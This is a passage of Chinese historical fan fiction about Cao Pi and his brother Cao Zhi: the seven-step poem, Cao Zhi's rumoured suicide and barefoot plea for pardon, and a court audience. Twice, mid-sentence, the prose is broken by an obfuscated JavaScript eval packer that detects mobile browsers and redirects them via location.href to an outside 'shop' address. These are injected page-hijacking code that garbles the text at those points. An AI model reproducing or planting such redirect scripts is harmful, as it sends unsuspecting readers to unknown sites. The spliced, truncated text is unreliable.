曹植不说话，只执拗地盯着曹丕的眼睛，那目光里有哀求，有委屈，但更多的是想从那双眼里找到一点点在意。 但那眼里什么都没有，那双曾经教他写字，带他骑马的眼里现在只有帝王的冰冷。 他绝望地闭上眼，更多的泪水从眼底溢出，无声无息。 曹丕看着不断坠地的泪珠，看着弟弟压抑的哭泣，终于蹲下身，轻轻抚上他濡湿的脸颊，用指腹替他擦去眼泪。 “曹子建。”他声音依旧听不出喜怒：“你知道的，哭也没用。” 曹植猛地睁开眼，泪水更加汹涌，却依旧死死咬着唇不让哭声泄出。 他攥紧了曹丕的衣袖，摇着头语无伦次地说：“我不怕……我不怕惩处……我怕的是……是你不来见我……” 他望着近在咫尺的曹丕，深吸一口气，喊出了那个尘封已久的称呼。 “兄长——！” 随着声嘶力竭的呼唤，他不管不顾地扑进曹丕怀里，将脸埋在他胸前放声大哭。 “兄长……你为什么把我赶到封地后……就不再见我了？” “兄长！你不见我……我只能……我只能劫胁灌均了……我只是想让你看看我啊！” “兄长！我想见你啊！” 他说了许多话，断断续续，颠三倒四，有辩白有控诉有依赖，但千言万语最终只汇成了三个字： 我想你。 曹丕僵硬地维持着蹲姿，怀里是哭的泣不成声的弟弟。 胸前的里衣被泪水浸湿，他低头看着怀中人乌黑的发顶，恍惚间仿佛看到了许多年前在鄄城老宅，那个因他出门访友未带他而赌气，最后又忍不住跑来抱着他的腰，哭的满脸鼻涕眼泪的弟弟。 时光荏苒，如今他是帝王，子建是王侯，但他这份怕被兄长抛弃的依恋，似乎从未改变。 一直没变的，或许是子建。 而面目全非的，是自己。 他抬眼看向这空无一人的大殿，烛火幽幽，将他们的影子投射在墙上，交叠在一起。 最终他还是换了个姿势坐在地上，用手轻轻地环住怀里这个哭得像个孩子的弟弟。 温暖的外袍笼罩住两人，仿佛这一刻他们不是陛下和临淄侯，而是两个普通人家的兄弟。 一个受了委屈，和兄长诉苦痛哭的弟弟。一个板着脸教育，却终究不忍苛责，笨拙地给予安慰的哥哥。 曹植在感受到兄长怀抱的那一刻，哭声有瞬间的停歇，随即便是更加肆无忌惮地嚎哭。 仿佛要将这些年错过的时光，积压的思念，无尽的委屈全部倾泻而出。 曹丕没有说话，只这样静静抱着他，一只手轻轻拍着他的后背，如同小时候无数次哄他入睡时那样。 时间悄然流逝，怀里的哭声渐渐低了下去，变成断断续续的抽噎，最终归于平静，直到曹植哭累了，在他的怀里睡了过去。 曹丕依旧保持着之前的姿势，他低头看着弟弟睡梦中也紧紧攥着自己衣袖的手，良久，长叹一声。 “其实……哭有用。”他声音很轻，带着浓浓的自嘲。 “……是兄长没用。” ———————— 第二日，崇华殿上御座珠帘半垂，曹丕端坐其上，冕旒遮挡了他大部分容颜。 中堂之上，曹植一身素白单衣，散发而立，周遭是无数各怀心思的目光。 灌均率先出列，跪地伏身：“陛下！临淄侯酒后狂悖，胁迫于臣！臣受辱事小……” 他略作停顿，双手高举，向天作揖，“然监国谒者，代天巡狩，关乎天家威仪，朝廷法度！临淄侯此举，实乃藐视君上，动摇国本！若不严惩，何以正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317241|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律法？” “臣恳请陛下，依律严办，以正视听！”他说罢，长伏不起。 此言一出，几位老臣纷纷颔首，僭越大罪，岂能轻饶？ 就在这时，后殿传来女子压抑不住的涕泣之声，卞太后听到灌均请旨处死曹植，悲从心起。 曹丕面色未动，冷淡地扫了一眼灌均，不予置评。 吴质见状缓步出列，躬身行礼。 “陛下，臣私以为，灌谒者所言固然有理。然，临淄侯毕竟是陛下同母胞弟，骨肉至亲。且其素日虽有疏狂，却无大恶。处死……未免太严苛些，恐伤陛下仁德之名，亦令太后悲恸过度，有伤凤体。”他话锋一转，“依臣愚见，不若削其王爵，贬为庶民？这样既全了法度，也保全了兄弟情谊，更显陛下宽仁。” 曹丕面色稍缓，但仍未开口。 一直在暗自观察帝王神色的陈群此刻抓住机会，快步出列。 “陛下！臣有奏！”他先是对曹丕一礼，然后面向众臣，“灌谒者，吴将军所言，皆是为国法，为亲情考量，拳拳之心，可昭日月。然臣细思之，临淄侯此番，更多是酒后失言，行为失当罢了。” “酒后失言”一出，满堂震惊！灌均更是猛地抬头看向陈群，几位老臣公更是皱眉怒视。 劫胁使者，形同谋逆，怎么能以失言失当而论！ 就在这时，贾诩不急不忙地出列，扫向堂上聒噪的诸臣，向上一礼。 “临淄侯才华横溢，性情率真，偶有醉酒失态，虽触法度，但其心或非有意藐视天威。且陛下新登大宝，四海初定，正宜示以宽宥，布恩宗室。若因此时重罚亲王，恐令天下藩王不安，非社稷之福。” 他顿了顿，微微一笑，迎着曹丕的目光道：“故臣以为，不若降其爵位，削减封邑，令其闭门思过？如此，小惩大诫，既维护了朝廷法度之尊严，又彰显了陛下顾念骨肉，仁德为怀之圣心。两全其美，岂不更好？” 殿内窃窃私语之声更大，贾诩这番说辞，看似折中，实则将曹植的重罪轻拿轻放。 曹丕的目光越过争吵的众人，看向那个中堂上一直垂着头的身影。 冕旒轻晃，曹丕的声音传出：“临淄侯。” 曹植听到了兄长的声音，缓缓抬头。 “朕听闻你才思敏捷。”曹丕的声音在珠帘后听不出情绪：“今日你便在这朝堂之上，七步之内，赋诗一首，若成，朕或可考量，若不成……” 他剩余的话没有说完，但在场之人皆懂未尽之言的意思。 七步成诗？！众臣先是一惊，随后恍然，面色复杂。 这要求对于以才学冠绝天下的曹植而言，不就犹如三岁小儿解一加一一般容易？ 这哪是惩罚？这是陛下递过来的台阶啊！ 众目睽睽下，曹植只望着高台珠帘后那个熟悉的身影，两人视线相接，他眼眶发红，眼里有委屈，仰着头缓缓闭上眼了，一副引颈受戮，不愿作诗的姿态。 殿后卞太后的声音骤然增大，凄厉不止，穿过屏风落到每一个人的耳中。 灌均伏在地上的手握紧，吴质眉头紧锁，陈群眼里满是焦急，就连贾诩也长叹一声。 珠帘之后的曹丕看着曹植，握在扶手上的手因为太过用力而微微发白。 最终，曹丕挥了挥手：“罢了。” “植，朕之同母弟。”他声音中带着无奈，“朕承天命，御宇内，于天下万民，无所不容，而况植乎？” 他目光扫向堂下的群臣，最终落在曹植身上，“骨肉之亲，舍而不诛。然法不可废，其改封植为安乡侯。①” 他终究是借着太后的哭声，直接赦免了曹植。 曹植不可置信，睁开眼望向御座，眼中情绪复杂难言，他想上前说着什么，但殿外候着的侍卫已经入内请他离开。 他没有挣扎，只最后深深看了一眼珠帘后的身影，然后顺从地离开了大殿。 崇华殿内鸦雀无声，就连卞太后在听到曹植的判决后也不再哭泣。 曹丕静静看着那个素白身影消失在殿门外，直到再也看不见。 他缓缓起身，走下御阶，走到刚才曹植站立的地方，面向众臣。 “煮豆燃豆萁，豆在釜中泣。” 两句诗出，满殿哗然，但曹丕恍如未闻。 “本是同根生，相煎何太急。②” 曹丕锐利的目光扫过殿内诸臣，“这便是安乡侯所作之诗。” “今日崇华殿内，安乡侯七步成诗，朕念及骨肉，法外施恩，改封安乡侯，此事已了。”他声音陡然一沉，一步步走向阶上御座，“今日殿中之事，唯此一说，若有半句虚言外泄，扰乱视听者——” 他转过身，直视群臣。 “定斩不待。” 说罢，不再看任何人，径自离去，徒留满殿文武面面相觑。 ———————— 同年，曹植回到改封后的安乡，得知七步诗后，于某个孤灯长明的夜晚，写下了《七哀》： 明月照高楼，流光正徘徊。 上有愁思妇，悲叹有余哀。 借问叹者谁，言是宕子妻。 君行逾十年，孤妾常独栖。 君若清路尘，妾若浊水泥。 浮沉各异势，会合何时谐。 愿为西南风，长逝入君怀。 君怀良不开，贱妾当何依。③ 诗词传至洛阳，同年七月，诏令再下：进封曹植为鄄城侯，并增其封邑从八百户至两千五百户。 4. 戴罪 黄初四年，五月。 夜已深，洛阳城外驿馆榻上，曹植辗转反侧。 春末的风从窗外吹拂进屋内，门外偶有巡夜士卒的脚步声经过。 他呆呆地望着天花板，脑海中有两个名字在徘徊。 王机，仓辑。 他们到底告了什么？诬了什么？ 兄长看到那些奏报的时候，会是什么表情？ 是皱眉还是冷笑，亦或者是放到一边不管…… 还是说他信了？ 这个想法只要一在脑海中出现，就如同跗骨之蛆一般挥之不去。 曹植闭上眼睛，黑暗中浮现的是嘉福殿那夜，兄长轻轻拍在自己后背的手，温暖而有力，和少时一模一样。 可第二天崇华殿上珠帘后的那双眼睛，又那么冰冷，让他根本搞不清哪一个才是真正的他。 或许都是真的，只是兄长把他藏了起来，藏得很深，连他也分不清。 其实黄初二年的那场七步之辩，他拒绝作诗不是真的想死，他只是想看看兄长还愿不愿意为自己伸出手。 可喜的是兄长伸手了，但那之后又是两年的无诏不得入京…… “唉……” 曹植把自己埋进被子里，心乱如麻，却是再也睡不着了。 第二日天刚蒙蒙亮，一辆不起眼的马车混在菜贩车队里缓缓驶入城内。 驾车的是个积年老仆，头发花白，低着头，再普通不过。 车内，曹植将头顶的布巾又往下拉了拉，遮住额头，他穿着农户家的粗麻短褐，袖口磨得起了毛边，衣襟上还有一块洗不掉的油渍。 这身装扮放在人堆里泯然众人，但他的手却一直在抖。 曹植深吸一口气，心里安慰自己，没事的，又不是小时候偷穿兄长衣服被抓到的小孩了。 但那个时候被抓到，兄长只会笑着揉自己的头说“子建穿什么都好看”。 可现在的兄长是皇帝，他还会和以前一样原谅自己吗？ 他会不会不肯见自己？还是说会用那种君上看臣子的表情，温和而疏离地把自己打发回封地？ 越想越乱…… “王，夏侯府①到了。”外面的老仆压低声音道。 “知道了。” 曹植站在夏侯府门前望着那扇朱红大门，心中竟然有些近乡情怯。 他抬手看了一眼自己这身短褐，撇了撇嘴，不知从何时开始，连见姐姐一面，都要这样偷偷摸摸了。 他正准备抬脚上前扣门，就被身后一只手按住肩膀。 “鄄城王。” 曹植回身，面前是几个贩夫走卒打扮的男子，为首之人三十上下，面容普通。 “鄄城王，请留步，陛下有旨，诸王未奉诏，不得私见外戚宗亲。还请您暂归驿馆，等候朝见。” 曹植没有说话，他看向已经被控制住的老仆，又低头看向自己的这身粗麻短褐，不禁有些想笑。 他以为自己藏得很好，以为换一身旧衣悄悄混进来，就可以瞒过所有人，结果还是被兄长发现了。 “鄄城王？”校事头领见他久久不语，忍不住又唤了一声。 曹植恍若未闻，只回头看向近在咫尺的朱门，忽然笑了一下。 然后抬手将自己头上的青布巾取了下来，五月的阳光洒在他的脸上，他本就面如冠玉，此刻微微一笑，随风飘动的发丝泛上一层浅浅的金色，哪怕并未穿亲王礼服戴金冠，也让校事们不由自主地退后一步。 他就这样站在光下，周身没有一件贵重饰物，那骨子里的矜贵都能让人不自觉后退。 “拿笔墨来。” 校事头领愣住了：“……鄄城王？” “陛下只说让我回去。”曹植看着他，面带笑意，语气平和，“又没说不能让我写诗。” 他顿了顿，微微挑眉：“我虽有罪责在身，但还是亲王。” 校事头领低下头似乎想说什么，但最终还是下定决心，咬咬牙道：“请鄄城王稍候。” 市井之内一时哪里去寻上好的笔墨？更别说作诗还要上好的缣帛。 几番奔走，才最终寻来一副普通笔墨，以及一卷压在杂货铺底层的旧竹简。 “鄄城王，都是些市面上的糟烂货，您凑合用……”校事头领双手呈上，带着几分羞赧。 曹植接过竹简和笔墨，目光温柔地用指腹轻轻抚过简面。 “无妨。”他低头看了自己这身短褐，朝校事头领道：“借剑一用。” 校事头领一怔，将自己的佩剑解下递了过去。 曹植接过佩剑，剑锋出鞘寒光一闪，周围校事们一惊，正要上前，结果曹植只裁下了自己的半边衣袖。 他拿起那节布料，直接在夏侯府门前的槐树下席地而坐，泼墨挥毫： 臣植言：臣自抱衅归藩，刻肌刻骨，追思罪戾，昼分而食，夜分而寝。 …… 咨我小子，顽凶是婴。逝惭陵墓，存愧阙庭。 …… 一首写就，他沉思片刻，又写下一首《应诏》 肃承明诏，应会皇都。星辰夙驾，秣马脂车。 …… 爱有樛木，重阴匪息。虽有糇粮，饥不遑食。 …… 他一边写一边吟，将心中所有想说的话都寄托在诗词中。 校事们站在一旁，只静静看着，他们听不懂这些辞藻华美的诗句究竟在说什么，但也忍不住为曹植写作时浓烈的情感所触动。 两诗一序，尽付于半幅衣袖。 曹植搁笔，将那块写满字的布料拿起吹了吹墨迹，折好递给校事头领。 “我自知罪孽深重，无颜面圣，只好作诗二首。”他言辞恳切，目光柔和，“还请校事务必亲自呈于陛下。”说完他向校事头领弯腰一揖。 校事头领脸色大变，他立刻就扑通一声跪倒在地，“鄄城王言重了！这……这真是折煞臣了！” 他跪在地上，背后冷汗涔涔，这可是陛下一母同胞的亲弟，今日他敢受这一拜，明日……不！都不消明日，只需片刻之后，这消息传到嘉福殿，他这颗脑袋就得搬家！ 曹植没有再说什么，只是将那块布料轻轻放到校事头领高举的手上，然后转过身带着随侍老仆向城门方向走去。 校事头领不敢耽搁，策马疾驰入宫。 嘉福殿内曹丕正在和陈群议事，殿内茶香袅袅，陈群正在分析藩王进京后的监管与限制。 曹丕坐在席上，看似凝神在听，指尖却有一下没一下地敲击着桌案。 他今早接到密报，曹植已微服入城，去的方向正是清河长公主的驸马，夏侯楙的府邸。 他已命人去拦住，但是心里却总觉有些惴惴不安。 就在这时，殿外传来急促的脚步声，一名近侍入内呈上一物。 “陛下，城外校事急报，鄄城王已归驿站，临行前留诗两首，嘱咐必呈御前。” 曹丕目光落在那块粗糙的青色布料上，那是一片衣袖，还是仓促间用利刃割断的。 他接过展开，看着上面熟悉的字迹，还是和以前一样舒展俊逸，笔锋中是藏不住的少年意气。 逝惭陵墓，存愧阙庭。 曹丕的手指反复抚过这八个字，心中不祥的预感越来越深。 可能是因为他太专注，连一直在论述的陈群都停下了声音，大殿上一时安静得有些过分。 愿蒙矢石，建旗东岳。庶立毫厘，微功自赎。 …… 心之云慕，怆矣其悲。天高听卑，皇肯照微！ 他又读到《应诏》中的那句： 爱有樛木，重阴匪息。虽有糇粮，饥不遑食。 不禁皱了皱眉，他这是又不好好吃饭……曹丕看了良久，什么都没说，将那块布料放至案角，继续和陈群议事。 约莫一个时辰后，一名内侍连滚带爬地闯进大殿，他扑跪在地，整个人抖得像筛子，支支吾吾半天说不出一句话。 曹丕搁下手中竹简，冷眼看向内侍，陈群识趣地闭上嘴，不再多言。 “何事？” 内侍伏在地上，颤颤巍巍道：“回……回陛下，鄄城王……鄄城王失踪……” “什么？！那找到鄄城王了吗？”陈群一惊，质问出声。 那内侍声音更低，眼一闭才将下半句说出： “回陈尚书，无……但传言……鄄城王疑似……疑似因罪自裁！” “哐当！” 桌案上的茶盏翻倒，碧青色的茶汤倾泻而出，沿着案沿淌下，精美的茶盏滚落在地，碎了个彻底。 曹丕没有看那只碎成几片的茶盏，他僵坐在席上，面色如常，只是深深扣进掌心的手指泄露出他的震惊。 “你说……什么？” 内侍伏在地上，不敢抬头：“鄄城王失踪，疑似……疑似因罪自裁。” 殿内寂静无声，曹丕想站起身，他撑着案几试了一下，没有成功，又试了一次，才终于站了起来，膝盖却撞在案沿上，将案几掀翻，奏疏散落一地。 他目光呆滞，踉跄着想上前再问一遍，却又重重地跌回席上。 他瞥到地上掉落的那片青色布料，正巧显露出的那一面是八个字：逝惭陵墓，存愧阙庭。 他闭上了眼，不愿再看。 陈群见他这魂不守舍的模样，连忙上前：“陛下，此事尚未确证，陛下当保重龙体啊！” 曹丕不语，只用手颤抖地指着那名内侍，说不出话。 陈群会意，转头沉声对那名内侍吩咐：“此事可有确证？” 内侍恭声答道：“无，但城外校事已经在尽力搜寻鄄城王的下落。” 陈群心中大定：“好，封锁消息，此事万万不可被太后……” “什么不可被我知道！我已经知道了！你们还想瞒我到什么时候？” 殿门被猛地打开，卞太后立在门前，看着殿内的满地狼藉，她身后的宫女内侍跪了一地，无人敢抬头。 她的视线越过殿内众人，直直落在曹丕身上，心中悲痛更甚！ 曹丕此时跌坐在一堆散落的奏疏中，手里紧紧攥着那块旧布，脸色白得像纸，完全没有注意到已经走至身前的卞太后。 “你若是恨幺儿！你换我恨好不好？”卞太后指着曹丕，胸口剧烈起伏，声音颤抖，“是我偏疼他，是我不够看重你，你要怪就怪我！你冲我来！何苦要逼死我的幺儿……” 说到逼死时，她的眼泪滑落，声音中是深深的无力，看着曹丕仿佛在看毕生的仇人。 “我的幺儿啊！你何至于……何至于要逼死他啊！” 她再也站不住了，脱力伏在案前，双手撑着地，哭得伤心欲绝。 “我的幺儿啊！是母亲不好！是母亲害了你啊！让你生在这帝王家，更让你与……与这样冷心冷情之人做兄弟啊！” 卞太后目眦欲裂地指着曹丕喊出这一句，曹丕却一个字也没有反驳，他只呆呆坐在那里，任由母亲指着自己，骂着自己。 他低头看着手中的这块布料，上面的字迹依旧清晰，“逝惭陵墓，存愧阙庭”，子建写这八个字的时候，心里在想什么呢？ 是在怨他不见？还是在恨他不赦？ 还是只是在怕，怕兄长生自己的气，怕兄长不肯原谅他，怕那些隔在君臣名分间看不见摸不着的东西，比任何罪名都难逾越。 曹丕忽然想起黄初二年时嘉福殿那夜，子建伏在他怀里哭诉“我怕的是你不来见我”。 两年了，他还是怕。 “陛下！陛下！” 殿外又传来一阵急促的奔跑声，那内侍因为太过高兴甚至是跌进殿内的。 “陛下！鄄城王……鄄城王徒跣诣阙，肉袒负荆，已至宫门前跪地请罪！” 殿内哭声戛然而止，卞太后猛地回头看向那名内侍，脸上泪痕斑驳，“……什么？” 她喃喃地重复一遍，像是才明白过来，整个人跌跌撞撞地从地上爬起，顾不得仪态，也顾不得扶她的人，径直向外冲去。 “我的儿啊……我命苦的幺儿啊！”她边走边念，像哭又像笑。 曹丕没有动，他依旧坐在案后，低着头看着手里的旧布。 陈群在侧轻声道：“陛下，鄄城侯已至宫门……” “叫他自己走进来。”曹丕目视前方，声音没什么起伏，“把枷取了，进来。” 宫门长阶，青石铺地，一阶一阶，曹植赤着脚，披着发，手捧一卷竹简，从阊阖门一路走至嘉福殿前。 脚底有石子，有砂砾，起初还能感觉到疼，到后来只剩下一片麻木。 回头望去，他能看见自己每一步落下都是一个淡淡的血痕，但他没有停。 他想起很多年前，大军西征，他坐着车里回望邺城方向，那时他还不知道什么叫怕。 他以为兄弟就是兄弟，无论隔着多远的路，多久的时光，只要他回头，兄长就一定会在那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317242|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是后来，他再回头。 兄长却不在那里了。 周围内侍跪在两侧，他停在嘉福殿前，殿门大开，殿内光线昏暗，看不清坐在深处的人。 卞太后已经奔至他身前，颤抖地捧着他的脸，摸着他散乱的发，仔仔细细地检查他有没有受伤，直到看到身后那一串血路，才抱着他痛哭。 “我儿……我的儿啊……你受苦了……” 曹植轻轻回握母亲的手，低声道：“母亲，让儿自己进去吧。” 卞太后不肯，她攥着他的衣襟，泪如雨下，却再也说不出一个字。 曹植安抚着母亲，等她情绪稍缓后将她交给身后的宫女，自己则独自走进大殿，身后殿门缓缓合拢。 殿内没有点烛火，只有细碎的天光透窗而入，曹丕端坐于正前方，看不清表情。 曹植于案前三步远处跪下，俯身叩首，将手中竹简高举于头顶。 “臣，植，自知罪重，不敢回避，特来向陛下请死。” 曹植不敢抬头，他怕一抬头看见的又是黄初二年崇华殿上，珠帘后那双冰冷的眼睛。 殿内没有回应，良久，他听到有脚步声一步一步向自己走来，直到一双黑色的鞋履停在他面前。 “曹植。” 曹植浑身一抖，这是他第一次听到兄长用这种声音，连名带姓喊他名字。 他伏在地上没有动，然而下一刻，下颌就被人钳住，强制逼他抬起头来。 兄长的脸离得好近，近到可以看清兄长眼底的血丝，那是他从前没有的。 “能耐了？”曹丕冷冷看着他，“整这一出？” 曹植愣住了：“……什么？” 曹丕没有回答，他的手从曹植的下颌滑到颈侧，拇指在他的喉结上微微摩挲，然后突然收紧。 “整这一出假死给谁看？”曹丕直视着他的眼睛，如同情人在耳边耳语，“你有想过……母后吗？” 轻微的窒息感袭来，曹植却顾不上挣扎，他满脸困惑，声音断断续续： “什……什么假死？我不知道……” 他不知道？ 曹丕盯着他的眼睛，盯了许久，想从中找出说谎的痕迹。 但却没有找到，那双眼里有泪，有不解，有委屈，有很多难言的情绪，独独没有谎言。 他的手松开了。 “……你不知道？”他突然松了一口气，“那你为什么在《责躬》里写那句话？” “什么话？” “逝惭陵墓，存愧阙庭。” 曹植委屈地看向曹丕，眼眶里蓄满了泪水，像小时候做错事被抓到那样小声说道：“我是怕你生我的气，不肯原谅我，我想求你心软……” 他顿了顿，声音越来越低：“我不知道会传成那样……” 曹丕深吸一口气，起身就要走，结果衣袖被一只手拽住。 他回头望去，曹植跪在地上，一手紧紧抓着他的袖口，那篇竹简早都不知道掉到哪去了。 “兄长，别走。” 曹植仰着头，泪流满面，声音沙哑，活像一只被遗弃在雨夜里终于找到主人的小狗。 “兄长，我想你。” 他往前跪行一步，想离得更近。 “我们又两年没见了。” 两年。这句话明明是从曹植嘴里说出来的，却让曹丕心里隐隐钝痛。 他看着地上的人，散乱的长发，赤裸的双足上全是触目惊心的伤口，一身单衣全是褶皱，肩上还留着木枷压过的深痕。 都这么痛了，他是怎么做到浑然不觉的，他分明是养尊处优的王侯啊！此刻却仰着头，攥着兄长的衣袖，用那双和年少时一模一样的眼睛望着，仿佛下一秒又要从这双眼里涌出更多泪水。 “不许哭。” 这句话他是下意识说的，但话一出口他就后悔了。 因为曹植在听到这三个字的时候泪流得更凶了，他的哭是无声的，只能听到眼泪一滴一滴掉在地上的声音。 曹丕闭了闭眼，然后叹了口气，俯下身将跪在地上的人揽进怀里。 “好了。”他一边像从前一样拍着弟弟的后背，一边轻声哄着，“是我的错，我不该这么大声，怪我。” 曹植伏在他肩头，不说话，只是哭，泪水濡湿了龙袍，直到很久后他才闷闷出声。 “若是我真死了……你会为我伤心吗？” 曹丕没有回答，他的手停在曹植的背上，隔着淡薄的衣衫能摸到突出的肩胛骨。 他比以前更瘦了，封地的生活，好像也没有他想的那么好。 曹丕想起两年前嘉福殿的那个夜晚，子建伏在他的怀里哭着问：“兄长，你为什么把我赶到封地后就不再见我了？” 那时的他没有回答，现在的他依旧无法回答。 他只能一遍又一遍地轻抚他的后背，直到曹植的哭声渐渐低下去，变成小声的抽噎，又慢慢归于平静。 但他还是伏在兄长肩头执拗地不肯动，曹丕也没有推他，两人就这样如同两只寒风中的小兽，互相依偎取暖，享受这来之不易的温情时光。 不知过了多久，殿外传来内侍小心翼翼地叩门声。 “陛下，太后传话，鄄城王的伤得包扎……” 曹丕“嗯”了一声，轻轻推开曹植，低头看他。 他的眼哭得红肿，眼下还有未干的泪痕，这双眼明明从前是最爱笑的。 曹丕用拇指替他擦去脸颊上那道泪痕，“下去包扎，把脚弄好。” 曹植看着他嘴唇动了动，像是想说什么，但曹丕并没有给他开口的机会。 “然后回驿站，准备后日朝见。” 他唤人进来，看着内侍将曹植搀扶下去，殿门再次合拢。 嘉福殿内重新安静下来，曹丕低着头站在殿中，看着自己濡湿的衣袖，就这样站在那里站了很久。 殿内烛火燃尽，窗外天色转深，他忽然想起很多年前，子建第一次在铜雀台赋诗。 那时他二十岁，站在父亲身侧，念完《登台赋》后，众人惊叹的目光都聚在他的身上，但他却偷偷回头，在人群中找到了自己，对着自己灿然一笑。 那笑容明媚地像春日的阳光，没有一丝阴霾。 那时候的子建，最爱笑，可自己做了帝王以后…… 曹丕没有再想下去，他走到案前坐下，想通过公务来麻痹自己。 但那双执笔的手却停在空中，终究是一个字也没落下。 5. 任城 黄初四年，五月会节气。 嘉福殿内十二支连枝桐树伫立，上烛火通明如昼。 宫人们有条不紊地穿梭在殿内，铜盆里的温水腾着热气，浸湿的素帕又被人恭敬地捧至御前。 曹丕立于大殿中央，张开双臂，衮冕龙章一件一件上身，接着是束带，佩玺，大绶，小绶。 等着一身威仪层层叠叠地披挂在身上后，他才静坐在御榻上，听着外间钟鼓声敲响。 他将手放在膝上，垂眸看向这身繁复的华服，不知在想什么。 一名内侍走进殿内，行至曹丕身边躬身一礼：“陛下，诸王与公卿已在承明门内排班。” 曹丕抬眸看向窗边，在众人惊异的眼神中起身，独自走了过去。 推开窗的那一刻，夜风还未散去，承明门的轮廓在晨光中逐渐明晰。 诸王公卿肃立于承明门内，亲王服制朱红如霞，皆白璧在手，垂眸而立。 他只找一个人，那人站在诸侯队列之中，手捧白璧，姿态端然，广袖垂落于身侧，更添一丝俊逸。 晨风拂过，他小小的打了个喷嚏，险些将手中的白璧掉到地上，吓得连忙抱紧。 曹丕不由得轻笑出声，就这样站在窗边看了许久。 直到内侍在身后轻声催促：“陛下，时辰快到了，该戴冕旒了。” 他才最后看了一眼，关上窗，回身望向内侍手中跪举的托盘。 “知道了。” 他重新坐回御座，微微垂首，内侍小心地将那顶十二旒的冕旒戴在他头上，那些玉珠垂在眼前遮挡了他大部分的容颜。 天子威仪，不可直视。 这是祖制，是礼法，是君臣之间不可逾越的鸿沟，也是他克己复礼的枷锁。 于是他戴上冕旒后，再也没有看向过窗外。 殿外曹植正在与曹彰低声说话，忽然在一瞬间像是感受到一股灼热的视线，他猛地看向建始殿西房那扇半开的窗。 “……子建？怎么了？” 曹彰顺着他的目光看去，目之所及只有空荡荡的窗，什么也没有。 他躲过监国谒者的视线，又凑近些低声提醒道：“子建？” 但曹植恍若未闻，只盯着那扇窗盯了很久，久到曹彰都以为他是不是被什么魇住时，他回头微微一笑。 “没有，二兄。”他声音很轻，但嘴角笑意不减，“估计是我看错了。” 曹植目视前方，将手中白璧捧正：“时间差不多了，该准备朝见了。” 曹彰还想说什么，但监国谒者已经投来警示的目光，他只得收回视线，准备朝见。 钟鼓再响，殿门大开，朝见开始。 诸侯王依序列队入殿，曹植随着人流向前，随着内侍的一声：“拜——” 他跪伏于地，向高台之上的君王行礼叩首。 “兴——” 曹植缓缓起身，身后亦传来诸王衣袍窸窣的摩擦声。 天家威仪，不可直视。 他按照礼制规矩低着头，但心里却想着那扇半开的窗。 当时那一刻他能明显感受到有一股灼热的视线落在他身上，可当他回头时，那扇窗前却什么也没有。 是他多想了吗？ 轮到诸侯王奉璧御前，他捧着玉璧，拾阶而上。 他离那座高台越来越近，他应该低头的，毕竟礼法如此，规矩如此。 天家威仪，不可直视。冒犯天颜是大不敬，这件事他比谁都清楚。 可他还是固执地抬起了头，不出所料，十二旒白玉珠遮蔽住兄长的眉眼，更看不清兄长的神情。 “鄄城王。”内侍出声提醒。 曹植恍然回神，将自己手中的白璧置于御案上，重新退回诸侯王的队列。 他也没有再回头。 会节气的朝贺冗长而复杂，诸侯奉璧之后，是三公大臣依次上殿拜贺称颂。 那些颂词流水般地从朝臣口中说出，大同小异，年年如此。 曹植站在曹彰身侧，看似端正守礼，实则却什么都没听进去。 他脑中不停回想着那道视线，不自觉地将之与奉璧时那双被冕旒遮挡住的眼睛重合。 “呵。”想着想着竟然轻笑出声。 曹子建，你何时也会自欺欺人了。 “子建。” 曹彰的声音从身侧传来，监国谒者正在殿那头巡视，现在正是暂时的视线死角。 曹植微微侧首，声音有些闷：“何事？二兄。” “怎么感觉你不开心？”曹彰看着明显心情低落的弟弟，纳闷道：“你不是最想回洛阳吗？” 曹植垂下眼：“……无事。”说到一半又补了句：“就是今日起太早了。” 这借口拙劣得他自己都不信，但身侧的曹彰却笑了一声：“哈哈哈，你还是和从前一样，一没睡够就不爱说话。” 他想像少时那样揉一揉曹植的脑袋，但手刚抬到半空突然停住。监国谒者还在附近。 那只手顿了顿，最终还是垂于身侧捏紧了袖口。 他叹了口气，但忽然又像是想开了一般，竟直接侧过头不再躲避任何视线，直直看着曹植。 “子建，二兄送你一件礼物。” 就在这时，殿内忽起一阵强风，那风来得突然，将无数纱幔吹得猎猎作响，朝臣们衣冠被吹得翻飞，殿内顿时一阵小小的骚乱。 曹彰却纹丝不动，他站在那里，迎着风看向曹植，那张被边塞风沙磨砺过的脸上带着坦然的笑。 “你这些年写的诗，二兄都明白。”他只笑着看着曹植，“二兄会助你得偿所愿。” 风更大了，亲王服宽大的衣袖被吹得纷飞，曹植不得不用袖子抵挡迎面而来的风，向曹彰问道：“风太大了，二兄你说什么？” “诸位王请勿私语！” 监国谒者已经注意到这边的骚动，高声喝止。 曹彰只看了一眼就收回目光，他对曹植笑得更开怀了一些，不再压低声音，朗声笑道： “没什么，二兄说送你一份大礼！” “任城王！请勿私语！”监国谒者这次是指名道姓地喝止。 曹彰“哼”了一声，收敛笑意，重新站定，但脸上仍带着三分桀骜。 风渐渐平息了，殿内人忙着整理衣冠，没人注意到曹植。 他有些疑惑，脑子回想着曹彰的话，大礼？什么大礼？ 正思索间，袖中的那枚玉珏不知怎的掉了出去，他猛地伸手去捞。 就在刚握住那枚玉珏之时，他忽然鬼使神差地望向御座方向。 这次他看见了。 那阵强风将殿内许多人的衣冠都吹得纷乱，御座之上也不能幸免。 